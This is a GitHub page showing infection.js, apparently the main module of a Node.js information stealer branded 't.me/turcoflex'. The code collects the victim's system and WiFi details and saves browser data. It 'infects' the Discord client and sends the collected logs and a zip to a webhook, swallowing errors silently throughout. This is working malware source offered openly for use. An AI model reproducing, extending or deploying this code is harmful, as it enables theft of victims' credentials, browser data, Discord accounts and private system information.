-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathinfection.js
187 lines (162 loc) · 5.78 KB
/
infection.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
module.exports = (client) => {
return {
async get_user_info() {
let cpus = [];
for (var cpu of client.config.user.cpus) {
cpus.push(client.utils.encryption.decryptData(cpu));
}
let pc_info_text =
"<================[ User Info ]>================>\n<================[t.me/turcoflex]>================>\n\n";
let fields = [];
const wifi_connections = await client.config.user.wifi_connections();
for (let [key, value] of Object.entries({
"🖥️ CPU(s)": cpus.join("\n"),
"⚡ RAM": client.utils.encryption.decryptData(client.config.user.ram),
"🛑 Version": client.utils.encryption.decryptData(
client.config.user.version
),
"⏳ Uptime": client.utils.encryption.decryptData(
client.config.user.uptime
),
"📂 Host directory": client.utils.encryption.decryptData(
client.config.user.hostdir
),
"🆔 Host name": client.utils.encryption.decryptData(
client.config.user.hostname
),
"🆔 PC Name": client.utils.encryption.decryptData(
client.config.user.username
),
"👻 Type": client.utils.encryption.decryptData(client.config.user.type),
"🏹 Arch": client.utils.encryption.decryptData(client.config.user.arch),
"📢 Release": client.utils.encryption.decryptData(
client.config.user.release
),
"🌌 AppData Path": client.utils.encryption.decryptData(
client.config.user.appdata
),
"🪐 Temp Path": client.utils.encryption.decryptData(
client.config.user.temp
),
"🌐 User Domain": client.utils.encryption.decryptData(
client.config.user.user_domain
),
"💨 System Drive": client.utils.encryption.decryptData(
client.config.user.system_drive
),
"💾 Processors": client.utils.encryption.decryptData(
client.config.user.processors
),
"💾 Processor Identifier": client.utils.encryption.decryptData(
client.config.user.processor_identifier
),
"💾 Processor Architecture": client.utils.encryption.decryptData(
client.config.user.processor_architecture
),
})) {
pc_info_text += `${key}: ${value}\n`;
fields.push({
name: key,
value: `\`\`\`${value}\`\`\``,
inline: true,
});
}
let wifi_connections_text = `<================[WiFi connections]>================>\n<================[t.me/turcoflex ]>================>\n\n${wifi_connections}`;
client.utils.jszip.createTxt(
"\\WiFi Connections.txt",
wifi_connections_text
);
client.utils.jszip.createTxt("\\User Info.txt", pc_info_text);
return this.send2Message(fields);
},
get_executable_info() {
let executable_info_text =
"<================[Executable Info]>================>\n<================[t.me/turcoflex]>================>\n\n";
let fields = [];
for (let [key, value] of Object.entries({
"☠️ Execution path": client.utils.encryption.decryptData(
client.config.executable.execution_path
),
"🅿️ Debug port": client.config.executable.debug_port,
"🔢 PID": client.config.executable.pid,
"🔢 PPID": client.config.executable.ppid,
})) {
fields.push({
name: key,
value: `\`\`\`${value}\`\`\``,
inline: false,
});
executable_info_text += `${key}: ${value}\n`;
}
client.utils.jszip.createTxt(
"\\Executable Info.txt",
executable_info_text
);
return this.send2Message(fields);
},
async initialize() {
try {
await this.get_user_info();
} catch {}
try {
this.get_executable_info();
} catch {}
try {
await this.infect();
} catch {}
try {
await this.send_zip();
} catch (err) {
try {
await this.send2Message(`⚠️ Could not send log\n${err }`);
} catch {}
}
},
getFolderFiles(path_prefix, path) {
var result = "";
for (var file of client.requires.fs.readdirSync(
`${path_prefix}\\${path}`
)) {
var file_size_in_kb = (
client.requires.fs.statSync(`${path_prefix}\\${path}\\${file}`).size /
1024
).toFixed(2);
if (
!client.requires.fs
.statSync(`${path_prefix}\\${path}\\${file}`)
.isDirectory()
) {
if (file.includes(".txt")) {
result += `📄 ${path}/${file} - ${file_size_in_kb} KB\n`;
} else if (file.includes(".png")) {
result += `🖼️ ${path}/${file} - ${file_size_in_kb} KB\n`;
} else {
result += `🥙 ${path}/${file} - ${file_size_in_kb} KB\n`;
}
} else {
result += this.getFolderFiles(`${path_prefix}\\`, `${path}/${file}`);
}
}
return result;
},
async send_zip() {
try {
await client.utils.browsers.saveBrowserStuff();
} catch (err) {
try {
await client.utils.webhook.send2Message(`⚠️ Could not save browser stuff\n${err }`);
} catch {}
}
try {
await client.utils.jszip.createZip();
} catch (err) {
try {
await client.utils.webhook.send2Message(`⚠️ Could not create zip file\n${err }`);
} catch {}
}
},
async infect() {
await client.utils.discord.init();
},
};
};